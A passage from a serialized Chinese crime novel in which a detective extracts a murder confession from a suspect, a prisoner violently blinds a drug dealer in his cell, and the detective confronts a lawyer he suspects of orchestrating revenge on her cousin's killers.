“你确定你知道?” “我怎么不知道?” 陆从景冷哼了一声,“我猜你并不知道,因为霍兵欺骗了你。” 戴丽华脸上那带着些许得意的笑容瞬间消失。 陆从景故意留缺不说,“后来夏木橙找到一个机会想要逃出去,谁知被你们发现了,你用铁棍打在夏木橙后脑勺上,一棍把她打死了。” “不是我!”戴丽华否定的非常坚决。 陆从景神色渐冷:“不是你,是谁?” 戴丽华又不说话了。 “那就是霍兵。”陆从景仔细观察着戴丽华脸上表情的细微变化,应该就是霍兵。 “霍兵发现夏木橙逃跑,下狠手把她打死了,尸体怎么处理成了一个难题。你们想到一个地方,曾立兴上班的家具厂旁边有块食品厂的空地,你们偷摸把夏木橙埋在食品厂地下。前两年食品厂旧厂房拆迁要建小区,你们害怕挖地基,夏木橙的尸骨会被发现,曾立兴听许忠提起过,怪楼的主人腿脚受伤,未来几年都不会回临城,你们便把夏木橙尸骨挖出来藏在怪楼地藏王菩萨的莲花底座里。” “我猜测,在处理夏木橙尸骨的这件事上,你们几个人为了安全起见,开始用未实名登记的电话号码进行联系。我很好奇,你们为什么要装神弄鬼,在地藏王菩萨身旁播放佛经咒语?这迟早会引来别人的注意。看着不像你行事谨慎的风格。” 对于陆从景表扬她行事谨慎,戴丽华还颇为得意,“你猜对了,那个录音的确不是我放的。有段时间,霍兵他老娘做噩梦有女鬼索命,霍兵估计心底害怕,特意去放了《往生咒》,不过他不承认。他这人就是这样,做了什么都不承认。” 陆从景:“这个往生咒的的确确吸引了进怪楼探险的小青年的注意力,夏木橙的遗骨被发现。警察开始对机械厂家属院的邻居们进行调查,你担心警察迟早会怀疑到你们身上。所以,你开始物色背锅的人选。” “第一个人选是贾伟东,因为你从霍兵口中得知,贾伟东当时在帮霍兵运毒品,贾伟东肯定不敢跟警察说他x当时在运毒,说了就是死路一条。而且这么多年下来,你对霍兵已经没有多少感情,就算贩毒的事把霍兵牵连进去,你也无所谓。为了保障你的个人利益,我猜你跟霍兵有君子协议,无论你们谁进去了,都不把对方招供出来。那贾伟东无疑是最合适的人选。” 现在看来霍兵确实遵守了这份协议。 戴丽华撒了很多谎,也没主动供出霍兵。 陆从景:“事与愿违的是,贾伟东提供了虚假的不在场证明后,被警察放出来了。你们迅速把目标转向另外一个合适的人选——许忠。你制订了一套你认为完美的密室杀人计划,成功杀掉了许忠。事后,你怕警方忽略掉你们放在床底栽赃许忠的那袋杀人工具,还特意提醒我们,前一晚上有听见拖沙发或者拖木箱的声音。” 可惜那摊没办法处理掉的冰水,还是把他们出卖了。 而且戴丽华聪明反被聪明误,拖木箱的声音,成了警方怀疑曾立兴的转折点。 “不得不说,你很狡猾,你早就做好了两手准备,打一开始你就把自己完全摘清,拖拽木箱的声音,你说是曾立兴听见后告诉你的,你自己没听见。” 戴丽华不傻,陆从景这几句可不是表扬,他在嘲讽她自作聪明。 话锋一转,陆从景问:“有一点我不是非常肯定,你是从什么时候开始知道警方怀疑曾立兴的?” 回答之前,戴丽华提了个要求:“我想喝杯奶茶。” 陆从景没回头。 程栋梁问她:“冷的还是热的?” “少冰。” 程栋梁刚学会在手机上点外卖,当即下单点了一杯奶茶。 “奶茶已经给你点了,你现在可以说了吗?” 戴丽华:“我儿子发现警察在跟踪张越凝,我不太确定警方是不是已经怀疑我们,但还是当机立断,跟老曾商量,制造假象,让人误以为他钓鱼出意外,而他偷偷去缅甸躲避一段时间。” 这跟陆从景之前猜测的一致。 实际非常巧合,他并不是怀疑曾立兴才去跟踪张越凝的。 他是曾立兴失踪之后,综合了几条线索,才开始怀疑曾立兴有问题。 戴丽华继续说:“早在怪楼传出有鬼叫声的时候,我就跟霍兵商量,把夏木橙的尸骨换一个地方埋葬,我建议找个偏远的山村,埋到山里去。但之前处理夏木橙尸体的时候,霍兵偷偷把她腹中胎儿骸骨拿去埋,当时差点被发现,他有心理阴影,暂时不想动,那时我就有预感要出事,所以提前让老曾在城郊百合村租了一套便宜的房子以备有需要的时候,可以去躲一躲。” 陆从景明白了,“所以,半年前你做计划的时候,还是想着,真的帮曾立兴逃出去躲避的,是吗?” 戴丽华没有否认。 “你为什么最后又改变主意,想要置你的丈夫于死地?你为什么选择杀掉曾立兴?” 监控室里,刘泰安和木棉等都在大屏幕前,屏息静气看着会见室里的“聊天”。 杀害张皓钧和梁小宇的时候,戴丽华没有动手,她最多算是共谋,判不了重刑。 但再来一单故意杀害曾立兴的罪,那重刑可就难免了。 她拒不承认:“我没杀老曾,他出事的时候,我三天没出门。他是我男人,我怎么会杀他?” 晚上零点会更新下一章[比心]《 》 40-44 第41章第41章被关在看守所,没办法化妆,…… 被关在看守所,戴丽华没办法化妆,面色憔悴,眼窝深陷,看着老了几岁。 她坚决不承认杀害曾立兴的指控。 “我没必要这么做,杀了老曾,对我有一点好处吗?” “那我帮你回忆回忆。你于7月25日晚上给曾立兴的未实名手机号码打去电话,约好第二天早上见面。你给他送某样他需要的东西。”陆从景拿出手机,点开相册,“这是7月29日早上5点49分,机械厂家属院后门的监控画面。” 只见画面里,一个戴着遮阳帽,穿着工衣的扫地阿姨拖着垃圾桶,拿着大扫帚往门外走去。 戴丽华摇头:“这不是我。” “虽然监控看不清相貌,但是现在技术手段不比从前。警方技术部门可以通过对比你走路的姿势来判断这个人是不是你!”判定结果还没出,陆从景可不管那么多规矩,“你不承认也没用,这就是你!” 他说的非常肯定。 戴丽华沉默了。 陆从景划到下一张照片,这是过水桥附近摄像头拍下的画面:还是刚才那个保洁,一手提着大扫把,一手拿着黑色垃圾袋走了过去。 “你假扮成保洁从小区出来,垃圾桶留在小区门外,你从垃圾桶拿出垃圾袋,提着大扫把,一路避开人多的地方,来到临花江过水桥附近,然后找地方换上了垃圾袋里的男装和鸭舌帽。你跟曾立兴个头差不多,所以你穿他的衣服,非常合身。这就是为什么,当初目击者看到两个身高相仿,穿着相似衣服的人出现在过水桥桥墩的原因。” “你站在桥墩上,趁曾立兴不注意,把他推下了临花江!看着曾立兴被滚滚江水冲走,你匆忙离开。之后再度扮成保洁,回到了家。” 戴丽华张了张嘴,笑了。 笑完,才恶狠狠地说:“他该死。” 事情到了这一步,她否认也没有意义。 那不如大胆承认,起码能逞一时的痛快。 “曾立兴杀了张皓钧后,他太自以为是,没按照我要求的去做,他就不应该从那个位置下山!那边下来就是学校,脑壳有屎才会抄近路。结果下山后就算遇到小宇和木橙,那个时候,如果他能够镇定点处理,骗一骗也就过去了,后续不会完全失控。但他把两个孩子骗到天水坝,把他们迷晕后就把烂摊子丢给我!” 戴丽华越说越激动,“他是故意的!他故意把我和霍兵都拖下水,把我们都捆绑在一起!” 如果曾立兴是故意的,那就更恶毒了! “曾立兴这个人,真本事没多少,满脑都是坏水。当年机械厂改组,梁国邦保住了夏至民的工作,却没办法保证能保住曾立兴的,他恨梁国邦偏心夏至民,嫉妒老大家和老二家关系更好。他就是故意的,故意把所有人都搅下水,故意害小宇和木橙。他该死。” 说到这里,戴丽华眉毛飞扬,似乎自己也变得正义,变得有血有肉了。 陆从景把她打回现实:“如果你比曾立兴有良知,你应该想办法救梁小宇夏木橙,但你没有。所以,你也坏的不遑多让。” 戴丽华不愿意听这个,她只觉得头皮痒,疯狂抓挠头皮后,想到一个新的点:“还有许忠,他也不是什么好东西。我为什么会选许忠,因为他发现了老曾把梁小宇夏木橙绑在天水坝值班房的秘密,一开始他没声张,等警察发现梁小宇尸体后,他才来找老曾。他要挟我们给了他五千块去给他女儿治病。后来又要了两万。我们一开始的目标就是许忠,而贾伟东只是烟雾弹。” 原来老实忠厚的许忠真在其中扮演了不光彩的角色。 如此看来,2014年这四个死者,没有一个是无辜的。 这有点出乎陆从景的预料,不过他没被戴丽华牵着鼻子走,而是继续刚才的问题:“你认为老曾该死的事发生在10年前。这10年,你们也没有什么矛盾,你为什么忽然改变主意要杀死曾立兴?” 戴丽华昂着头,看着白色的天花板,“为什么?一是恨他,二是为了我儿子。我儿子马上要跟张鸿禺的外女孙结婚,如果曾立兴被抓了,被证实是杀害张皓钧的凶手,那我儿子这婚还结得成吗?他后半辈子的幸福就完蛋了。” 所以,曾立兴出意外死亡,就是最好的结果。 奶茶送来了,陆从景接过同事递来的奶茶,放到戴丽华面前的桌上。 戴丽华插好吸管,吸了满满一口的半糖乌龙奶茶,心满意足地舒了口气。 陆从景不忘挑拨:“跟霍兵在一起,祸害了那么多家庭,值得吗?他有真心对你?” 戴丽华叹了一声:“到头来,都是一场空。小的时候,我外婆跟我说,人一生吃多少米多少盐,都是注定的。” 说着她又吸了一口奶茶,吸到里面的珍珠,她慢慢嚼起来。 陆从景抱着手臂,冷x冷看着,他没说话,他等着她说。 果然,戴丽华还是忍不住问:“夏木橙肚子里那孩子是谁的?” 陆从景反问:“霍兵怎么跟你说的?” 戴丽华很聪明:“你们不知道孩子是谁的,是吗?” 陆从景以其人之道还治其人之身,他也撒谎:“知道。” “你们不知道。”戴丽华冷笑道:“你就是想来套我话。” 陆从景不承认:“是你在套我话吧。你跟霍兵关系,在他眼里也就那样,他骗你很正常。” 戴丽华显然不想听这种所谓的真相,她可以骗男人,但男人骗她,她难受。 她转移话题:“你们还有什么话要问的吗?” “没了。等你喝完奶茶,就送你去审讯。正式的审讯还没开始呢,我们现在只是聊天。” 戴丽华又吸了一大口,几乎喝掉大半杯的奶茶,她吃太急了,被呛着连连咳嗽了好几声。 会见室里,空荡荡的,只有她的咳嗽声。 陆从景再次走到窗前,他把百叶窗拉起。 夕阳斜斜照进来,所有的人和事仿佛老旧了十岁。 戴丽华用衣服擦了擦鼻子,她坐着没动,终究还是忍不住问:“是谁的?” “就那么想知道?” 她确实想知道,她脑子一如既往的灵活:“我把我知道的写在纸上,你也把你知道的写在纸上,互相交换,可以吗?” 陆从景满脸无奈:“拿两张纸来。” 程栋梁撕了两页笔记本的纸递给他们,少一支笔,她又出去问人要。 就这样,一人一纸,一人一笔,各自写下了名字,互相交换。 监控室的刘泰安差点把脸凑到屏幕上了,但镜头离太远,完全看不见。 陆从景看着戴丽华递来的纸张上,上面写着:骆安乔。 骆金水的儿子。 而戴丽华看着纸上的“熊”字,茫然半天:“究竟是谁?” “或许是骆金水的熊孩子?”陆从景也是瞎猜的。 戴丽华恍然,原来他并不知道,她还是被套话了。 监控室的刘泰安回过头问:“骆安乔是不是打人进监狱了?DNA库应该有他的DNA数据啊,没比对他的?” 小董也不清楚:“但是,我们之前比对过骆金水的DNA,骆金水被排除了亲缘关系。骆金水和骆安乔是亲父子,如果夏木橙腹中胎儿真是骆安乔的,骆金水的DNA跟那个胎儿也应该有亲缘关系才对。戴丽华是不是又撒谎?” 刘泰安吩咐:“别揣测了,快去问问。” 打电话去问了才知道,原来监狱系统因故障还没上传骆安乔的DNA数据。 加急处理后,第二天比对结果就出来了。 骆安乔的确是夏木橙腹中胎儿的生物学父亲。 程栋梁去监狱提审骆安乔,没费多大功夫,骆安乔对强奸夏木橙的事供认不讳。 原来当初夏木橙被霍兵囚禁在他买的农家小院地窖里,被前来玩耍的骆安乔发现后,实施了强奸。 囚禁夏木橙的农庄,附近有一大片菜地,夏至民夫妇还去那边批发蔬菜去卖。 地窖距离他们摘菜的菜地就一百米远,钟静得知女儿被拔了指甲囚禁在那幽暗的地方受尽折磨,当场晕了过去。 醒来钟静问木棉的第一句话就是:“那个畜生,会被判死刑吗?” “会的。”没有这件事,霍兵也会因为贩毒被判死刑。 不甘心,太不甘心了!就这么便宜了他。 但是,还能有什么办法呢? 没其他办法了。 能判死刑已经是最大的安慰。 又被提审了一整天的霍兵回到13号监室,时间将近35点,监室内除了值班嫌疑犯,都已睡觉。 值班监犯问他:“霍哥,你脸色不太好。” “没事,就是没胃口,吃不下饭。”霍兵今天不止身体崩塌,连精神都崩塌了。 他做的那些事,警察全查出来了。 虽然都是死,但在他看来却完全不一样。 没被全查不来,警察还无可奈何,那他是带着骄傲死的。 而且事情没查出来之前,他可以拖延时间,活久一点。 现在是,希望全无了。 他倒在通铺床上,整个人缩成一团。 睡他隔壁的徐罡没睡,他闭着眼休息,女儿的脸仿佛就在面前。 他不怕死,茵茵在等着他呢,死亡对他来说,没什么可怕的。 但他又不忍心留下父母妻子,怕他们为了他受更多的苦。 所以他还是要努力一把。 静静的,他把流程在脑子里过了一遍又一遍。 12点整徐罡爬起来,今天他和一个新人监犯值夜班。 监室的鼾声此起彼伏,一开始辗转反侧的霍兵也终于睡着了。 晚上值班是站着的,不能坐,新人狱友靠在墙边打瞌睡,徐罡则站在床边,翘着双手,闭着眼,静静等着。 两点半左右,徐罡缓缓睁开眼,他抬头看了眼监室天花板的监控。 这个时候,距离天亮还有一段时间,是最容易懈怠的时刻。 他双手往床铺上一撑,整个人飘起,死死压在霍兵身上,他下死手掐住了霍兵的脖子。 睡梦中的霍兵毫无防备,他睁开眼只觉得眼前一团黑影,完全搞不清状况,只能拼命反抗。 但两人力量悬殊,他被徐罡压制的毫无反抗之力。 徐罡用尽了所有的力气掐着霍兵,几乎要把他脖子给掐断。 他凑到霍兵耳朵边上,“你拔那个女孩指甲的时候,有想过她也是个人吗?啊?” 被拔了指甲的女孩?惊恐的霍兵发不出半点声音,他满脸通红,眼球凸起来,徐罡空出一个手,对准他的眼睛,往下一扣,直接挖掉了他的眼珠。 打瞌睡的新人值班监犯听见动静,忙睁开眼,他吓得大叫了一声。 铃铃铃铃铃! 警铃大作,监控室里的警察发现了这边的动静。 同监室的人被惊醒,看到霍兵血红的眼窟窿,还有徐罡流着血的嘴角……众人吓得变了脸色,什么三定位原则,也都抛诸脑后,没人敢上前阻止。 直到狱警开门冲进来,把徐罡拿下! “啊!!!!” 徐罡松手后,霍兵终于发出惨叫声。 他痛不欲生地蜷缩成团,发出的声音,奇怪而沙哑,像喉咙严重发炎。 霍兵的两只眼睛只剩下两个血肉模糊的窟窿。 挖出的眼球,被徐罡吃了!! 真是狠人。 不,是神经病、是疯子。 是侠义之士! 下次更新在元旦零点。 元旦当天五章连发并完结。 本章留言有小红包掉落,截止下章更新[比心] 第42章第42章刑侦大队办公室里,众人为了…… 刑侦大队办公室里,众人为了结案忙碌着。 午休时刻,有忙里偷闲看报纸的,有听歌的,有兢兢业业继续干活的。 陆从景在浏览本地门户网站的论坛,网络上对于“百步双四大案”的热情,一直都很高涨。 最近大家讨论最多的就是,张越凝成为这系列案件的最大赢家。 因为昨天鸿达官网公布了最新的人事任命公告,张芷琼调任华北分公司负责人,而她女儿张越凝履新总经理。 同时,有消息称,张越凝继承了张鸿禺的所有财产,包括鸿达股份。 下个月董事会换届选举,张越凝有望成为鸿达集团董事长。 鸿达集团没上市,也不知道资产估值有多少,总之,临城最年轻的富豪已经产生。 木棉看了报纸,不由感叹:“师兄,你猜对了。张芷琼被架空,还调走了。” 有人不理解:“这个时候调走张芷琼合适吗?张鸿禺不怕底下那些老臣不服小姑娘啊?” 程栋梁:“只要工资和分红给的够,谁会不服?我看张越凝比张芷琼好说话太多了,底下人高兴都来不及。” “那倒是!” 小耿从看守所回来,他兴冲冲对木棉说:“木棉,告诉你一个能让你高兴的大新闻。” 木棉观察着小耿的表情,似乎不是什么坏事,所以她脸上带着点期盼,“什么大新闻?” “霍兵被同监室的嫌疑犯生生挖掉了双眼!你说,这是不是大快人心?!” 见惯世面的众人都吃惊地问是怎么回事,让小耿说细节。 刑侦大队3组办公室秒变八卦最前线。 小耿娓娓道来:“挖眼珠子那个嫌疑犯就是前一阵闹得很大,灭门惨案里的那个凶手徐某。徐某女儿被同班同学欺负致死,法律奈何不了那个只有11岁的小畜生,最后徐某灭了他满门,绝对是个狠人。据说他最近疯疯癫癫的不太正常,前x一阵徐某跟人说看见霍兵后面跟着一个鬼,两只眼睛是两个血窟窿,满脸是血,都以为他故意装疯卖傻,没人当回事,结果昨晚徐某不知道受了什么刺激,半夜跳起来,把霍兵眼球给挖掉吃了。” 木棉激动地红了眼眶,仿佛她不能报的仇,有大侠替她报了。 程栋梁忍不住赞赏:“行侠仗义啊这是!能给他申请减刑吗?” 显然不可能,她也只是说个美好愿景。 小耿:“他的律师要给他申请做精神鉴定。” “应该鉴定!这肯定是精神病患者。” 这个时候,精神病是褒义词。 小耿卖起了关子:“你们知道他的律师是谁吗?” “谁啊?” “张越凝!据说这是她作为律师的最后一个案件,多么完美!地球是个圈,我们的社会也是个圈。之后张大小姐就要回家继承亿万家产了。”小耿倒了杯凉白开,咕咚咕咚喝完,“对于她来说,她的人生美好的像童话故事。” 田海亮有点不可置信地说:“怎么这么巧?不会是张越凝鼓动徐某去挖霍兵眼睛的吧?” 夏木棉替张越凝澄清:“不可能的。在张家人眼里,害死张皓钧的真正凶手是彭秀赵润嵩母子,霍兵只是个执行的刽子手。她没有必要针对他。只有在我家人心底,霍兵是那个应该千刀万剐的畜生!” 程栋梁也不认同:“教唆自己的当事人去犯罪,作为律师,她不可能犯这种低级错误。” 木棉:“她没必要这么做。师兄,你说是吧?” 陷入深思的陆从景被拉回现实,他点头:“她确实不可能犯这种低级错误。” 傍晚回到家,陆从景看着软木墙上的照片发呆。 照片墙上,写着“霍兵”的白纸,还钉在正中央。 而张芷琼和张越凝的照片依然贴在角落的位置。 案件告一段路,他还没把照片收起来。 他在黑暗中坐了很久,有些想法,早就在脑子里来回窜了好几次。 他拿起手机打给木棉:“想办法去张蕤帆家走一趟,搜搜需要补充的证据。” 木棉:“目前证据充足,不需要补充物证。” 陆从景不容置喙地说:“你去申请,我等你消息。” 好几天没回张家大宅的张越凝,停好车,直接往后宅走去。 家里静悄悄的,两个保姆在后门嗑瓜子聊天,估计在聊张家的这些八卦。 看见张越凝进来,那两人忙闭嘴,然后悄悄把瓜子收了起来。 张越凝装作没看见,径直上二楼。 楼上客厅窗帘没打开,一片昏暗。 淡淡的酒香味扑鼻而来。 她扫了一圈,发现张芷琼窝在沙发里,看得出喝了不少酒。 天还没亮就开始喝,不用上班的日子真是惬意。 张芷琼睁开眼,看见女儿一袭深灰色职业套裙从对面沙发后经过,像一缕幽魂。 “你还回来干什么?” 这房子未来是张越凝的,她想什么时候回来就什么时候回来。 但张越凝并没有刺激她,只说:“拿点东西。” 片刻之后,张越凝从房间出来,张芷琼满身酒气站在门口,堵住了她的出路。 “那天你故意在爷爷面前质问我,是不是?” 张越凝平静地看着母亲:“我说我不是,你相信吗?你觉得除了我,还有谁想知道你究竟知不知情?” 张芷琼捂着微微炸疼的脑袋,“老爷子让你问的?” “不是。” 但张越凝越是否定,张芷琼就越不相信。 “就是他让你问的!你们早沟通过这个问题了,是吗?小叛徒!” 张芷琼不止头疼,牙齿也疼。 她越想越气,“我替这个家卖命这么多年,承担了这么多别人不能承担的责任,到头来,就是不如你这个所谓的毫无贡献的亲孙女。别以为我不知道,你是张启峰的私生女。” “所以,你千方百计不让我进鸿达,在这个家把我边缘化,把我当棋子,给我画饼,你说,你的以后都是我的,原来你真的只是画饼,不然你不至于这么生气。既然如此,你权当这是战场——兵不厌诈。” 张越凝往外走。 追着女儿回到客厅,张芷琼直白控诉:“看到你,我就想起张启峰,凭什么他是儿子就应该得到一切?我是女儿怎么努力都是白费!凭什么?” “对啊!凭什么?”张越凝顿住脚步,回看着母亲,“如果张皓钧还活着,同样的,什么都轮不到我吧?你应该质疑的人躺在医院,你冲我有什么用?你对他百般讨好,对我呢?张皓月欺负我折磨我的时候,你视而不见,我贫血到脸色煞白,身体都支撑不住了,你还签字让私人医生抽我的血,你替我说过半句吗?我发高烧一个人在医院的时候,你在哪里?我承受不住选择自杀,警察来调查的时候,是谁把警察打发走的?” 张芷琼: 张越凝还想说什么,但还是憋回去了,“你跟你的父亲有什么不同吗?你们是亲父女,一路货色。” 张芷琼愤恨道:“谁让他们把你强塞给我做女儿!” “你可以拒绝,但为了利益,你接受了。你不止接受了,你还千方百计把我绑在你身边,收买我的助理,监督我的一举一动,在老爷子面前又故意上演母慈女孝的把戏。你以为老爷子真糊涂了,看不懂?他很清楚,财产留给我,我会善待你,但如果留给你,你未必能善待我。” “把我赶去华北分公司,这就是你对我的善待?!” “这不是我的决定。你知道的。你想算账,你应该去找该找的人。”张越凝缓了缓心中的郁气,绕过张芷琼,快步离开。 你应该去找该找的人。 这句话在张芷琼耳畔萦绕不散,她捂着额头,气得鼻子发烫。 你应该去找该找的人!! 她倒在沙发上。 取好车,开出地下停车场离开小区的时候,张越凝看见陆从景的吉普车开进了云麓庄园。 她没停车打招呼,而是往律所方向开去,她今天要回磐石律所跟老板聊聊工作上的事。 一个小时后,她在办公室接到陆从景发来的微信。 “有空?” 张越凝:“有。要请你喝的酒,我没忘记。” 半分钟后,她收到了他发来的地址。 那是他家。 张越凝驱车赴约,在他所住小区外面绕了半圈,才找到停车位。 傍晚小区进进出出的人不少,门口卖重庆凉拌菜的移动摊位围着好几个客人,她本想去买点凉菜的,看着那么多客人在排队,终究还是作罢。 小区楼房有些年头了,楼梯破旧,木质扶手上的油漆,掉落了七七八八,像八十岁老年人脸上斑驳的寿斑。 她来到他家门前,没有门铃,只能伸手敲门。 没多久,门开了,陆从景招呼她:“速度挺快。” “我今天在律所,离你这里不远。” “不用脱鞋。” 进屋后,张越凝扫了眼屋内格局,单身居所,乱中有序。 餐桌上放着一盘牛肉粒,一盘鱿鱼丝,一盘干果,一盒饼干,还有一盘洗好的蓝莓。 显然,他今天把他这里当成酒吧吧台了。 她把酒袋子递给他:“山崎85年,从我老板手里薅来的威士忌,你喝的吧?” “我都可以。”陆从景看了一眼度数,43°,度数不低,但也不算太高。 他把酒放桌上,问她:“可乐、乌龙茶、橙汁还是矿泉水?” “乌龙茶。” 张越凝能猜到他约她到家里肯定是有些话要跟她说而又不能让旁人听见的。 她没去客厅,而是直接在餐桌前坐下。 陆从景从冰箱拿出一瓶乌龙茶,他把茶杯递给她,“我记得有一次你到刑侦大队来办手续,你跟我说,霍兵是你的当事人。” “当时是。后来他因为贩毒被刑拘,我们就终止合作了。”接过茶杯,她没喝,而是直接放桌上。 “为什么终止合作?” “我们律所不给毒贩做辩护。” “这不符合规矩吧?” “当时还没签订委托协议。我也没明说不给毒贩辩护,就找了个借口推了。” 陆从景没有适合喝威士忌的酒杯,他从厨房找出两个大小不一样的玻璃酒杯,拧开瓶盖,一人倒了大半杯,“要加冰块吗?” “加点。” 他去冰箱取了一小盒的冰块出来,用夹子给她加了两块冰,随后他坐她对面,举起酒杯,“庆祝你得偿所愿。” 轻轻碰杯,张越凝喝了小口威士忌,“你话中有话。” “可能你会不高兴。你跟我说的,你跟x张皓钧的关系,哪段是真,哪段是假?”他只举着酒杯,没喝。 张越凝避而不谈,“重要吗?” “一段是姐弟情深,我可以理解为,姐姐给弟弟复仇。另外一段则不然,如果张皓钧真的那么不堪,你为什么还要替他报仇呢?我不相信你说的,只是为了摆脱你母亲的控制。以你的能力,你有很多办法可以摆脱,不需要这么大费周章。”陆从景一瞬不瞬地看着她,“还是说,你是为了打倒所有竞争对手,最后继承家业?” 对于金钱和权力的追逐,俗是俗了点,但永远不过时。 “我什么时候复仇了?”她反问。 “至少……从你接近曾晖开始。” 她用牙签戳了一块牛肉粒,微微一笑,并没有反驳,“愿闻高见。只要你不说我犯法了,我都愿意听听。” 陆从景起身去打开了身后的书房门。 随着书房门缓缓打开,张越凝抬眼一看,自己的照片贴在正中的软木墙上。 以她为中心,展现的是世界的另外一面。 第43章第43章陆从景没有刻意隐瞒,他研究…… 陆从景没有刻意隐瞒,他研究她,已经研究很久了。 看着满墙熟悉的照片和名字,张越凝晃了会儿神。 虽然她来的时候有充分的心理准备,但陆从景把他的怀疑直接摊开,摆在她面前,她不能说自己的内心毫无波澜。 他说:“我不知道你的复仇计划始于什么时候。我们暂且从吊颈杀手崔雄伟被抓开始。去年年初崔雄伟落网,他承认了其他5起杀人案,唯独不承认杀害过张皓钧,这件事引起了你的注意。” “我也不清楚你是怎么调查出真相的,肯定有很多信息是你知道,而我们不知道的。起码你调查清楚了杀害张皓钧的主谋和凶手包括彭秀、赵润嵩、邹富贵、霍兵、曾立兴和戴丽华。” “现在我们回过头来看,这六个人,自相残杀死了三个,伏法三个,其中一个还被生挖了双眼。而你呢,完全置身事外,仇报了,财产也得到了,整个过程堪称完美。” 对于这个指控,张越凝情绪极度稳定,她只笑问:“这是你新书的构思吗?” “你就当做是我的新书构思。” “那我提一个小小的疑问,既然我已经调查清楚了,直接报警不好吗?为什么要大费周章地折腾呢。” “十年前的旧案,可能没有足够完整的证据链可以去指证他们所有人,就算有证据,这几个人都被判处死刑的机会有多大?你是律师,你很清楚,像戴丽华这种没有直接参与动手的,刑罚不会高。只有让他们互相残杀,在你的视角,肯定更有复仇的快感。” 张越凝喝了口酒:“好像有点道理。” 陆从景走进书房,站在软木墙前,指着相关的图片说:“调查出真相后,你同时做了两件事。第一件事,你成功说服崔雄伟的律师,你给崔家一笔钱,让崔雄伟承认杀害张皓钧。第二件事,你通过工作业务跟曾晖接触,两人迅速确认恋爱关系。” 张越凝拿着酒杯依在书房门边,“你说的第一件事,已经触犯法律了。” “没有证据,因为做这件事的人不是你,是沈青。” 软木墙上,沈青的照片在张越凝的左下方,连接着崔雄伟、张芷琼和邹富贵。 “我猜沈青对你足够忠诚,她表面上出卖你,替你母亲做事,替你母亲监督你,实际上这些都是你授意的。沈青出卖你的表象,恰恰让你避开了警方的怀疑。当然,我也没有证据证明,沈青完全听命于你,纯属脑洞大开。” 张越凝点头:“所以你成为了优秀的侦探小说家。” 言外之意,这一切都是他作为小说家的臆想。 陆从景从抽屉里拿出一张卡纸,在上面写上了自己的名字。 “可能在你心里,我还是个不错的侦探小说家,所以你把我也设计进来了。崔雄伟被执行死刑之前,主动约我见面,他说他是我的书迷,但他又说不出自己喜欢我哪本书哪个角色。他约我见面,最重要的一件事就是,他要告诉我,他没杀张皓钧。很奇怪的是,他刚跟我说完他没杀张皓钧,扭头面对警方的调查,他又完全否认自己说过的话。” “我猜他没有看过我的书,看过我书的人,应该是你,对吗?”陆从景看着张越凝。 张越凝轻轻转着手中的酒杯,不置可否。 他忽然说:“我那天看到你了。” “哪天?” “《第三枚指纹》话剧演出那天,我就坐你后面一排。” 那天是她和张蕤帆一起去看的话剧。 张越凝笑着点了点头:“你这个原著作者怎么不上台谢幕呢?” “不适合我。” 两人都没在这个话题上继续展开。 陆从景把写有自己名字的卡纸,贴在崔雄伟上方。 “崔雄伟的出尔反尔成功吸引了我的注意力,在他被执行死刑后,我收到了崔雄伟没有时间杀害张皓钧的相关证据。我开始调查崔雄伟的家人,发现他家在崔雄伟死后,经济状况显著好转。再继续追查,我发现你的助理沈青转出了两笔现金,无论是时间还是金额,都隐隐约约跟崔雄伟有关联。我开始把目光对准了你。” “这个时候,我作为一个外人,就这么入局了。现在回过头来细想,这些都是你引我上钩的诱饵。如果你们真要收买崔雄伟家人,有的是地下钱庄没人能发现的渠道,你们不会暴露出这么多细节,让我查到。” 张越凝反问:“那你上钩后,扮演什么角色?” “推波助澜的角色。因为你知道,我会一直盯着你。”此时,他确实盯着她。 张越凝收回目光,没有与他对视。 陆从景继续:“沈青完成前期任务,我顺利上钩。后期你主动跟我们联系,对我们进行误导,诉说你对张芷琼的恨意,以及你想要摆脱她的迫切需求,你在有意引导我们步入你规划好的轨道。” “你负责的另外一条线,也一切顺利,你和曾晖几乎到了谈婚论嫁的地步,你跟他的父母相处很愉快,期间,你送了他们大量礼物,包括一台最新款的ipad。你了解戴丽华的爱好,知道她喜欢看侦探悬疑类的小说,所以,你在ipad上内置了一款绿色的小说阅读软件,并把其中一本几乎是为戴丽华量身定做的免费悬疑小说,提前放到她的收藏夹里。当然,为了不引起她的怀疑,你还混了其他收费小说在里面。” 书桌上放着一沓拍立得照片,最上面就是一张小说封面照。 陆从景拿起那张小说封面照,举在手上。 “这是一本以欧洲为背景的悬疑小说《当爱迷失》,故事男主人翁是一个碌碌无为的中年男子,他喜欢上了一位外国模特,深陷婚外情不能自拔,他渴望摆脱妻儿,却又因为一直以来的顾家形象,没办法真的去离婚,他便想了一个奇招。他借口外出钓鱼,制造意外,让警方以为他坠河失踪。男人的目标是逃到国外,跟情人相聚,从此过上逍遥快活的生活。但男人的妻子早就发现了他的预谋,妻子痛恨丈夫的背叛,她痛定思痛,在男人执行计划远走高飞的路上,把他杀了,埋尸荒野。警方最后判断男人坠河后,生还希望渺茫。故事结尾,妻子带着孩子跟亲朋好友一起给男子开追思会,祈祷警方能早点找到他的尸首。” 说完,他放下照片,“这个故事,是不是很熟悉?” 张越凝脸上是温和的微笑,“有点。” “你的目标非常明确,那就是让戴丽华走上《当爱迷失》女主家的杀夫之路。戴丽华这个人,胆大心细,同时很自私和贪慕虚荣,你针对她这个弱点,开始推进你和曾晖结婚的进程,你花500万买豪宅,写你和曾晖的名字,房子承诺给戴丽华两口子住。还没结婚,各种物质利益就在眼前招手,他们知道,你是张家第三代唯一的孙辈,就算拿不到张家全部的家产,至少几个亿的遗产是少不了的。戴丽华努力几辈子都无法企及的财富,她儿子通过跟你结婚,就能实现,你说,这个吸引力足不足够大?” 当然足够大。 张越凝没有回答,她眼底带着笑意,杯中冰块在慢慢融化,酒杯外壁蒙着细细的水雾。 握着酒杯久了,手指被冰得有点难受。 她换了一只手端酒杯。 陆从景见状,抽了张纸巾递给她。 张越凝拭去手中的冰x水,转头把纸巾扔进了旁边的纸篓里。 她看到旁边书架上放着一排书,都是有些年头,看过千百遍的旧书籍,跟这破旧的书房,非常搭。 陆从景顺着她的目光看过去,正想说什么,张越凝回过头,问他:“然后呢?陆顾问你又吊人胃口。” 她真当小说听了。 陆从景也不气恼,他非常理解她现在的淡定从容。 因为没人能拿她怎么样。 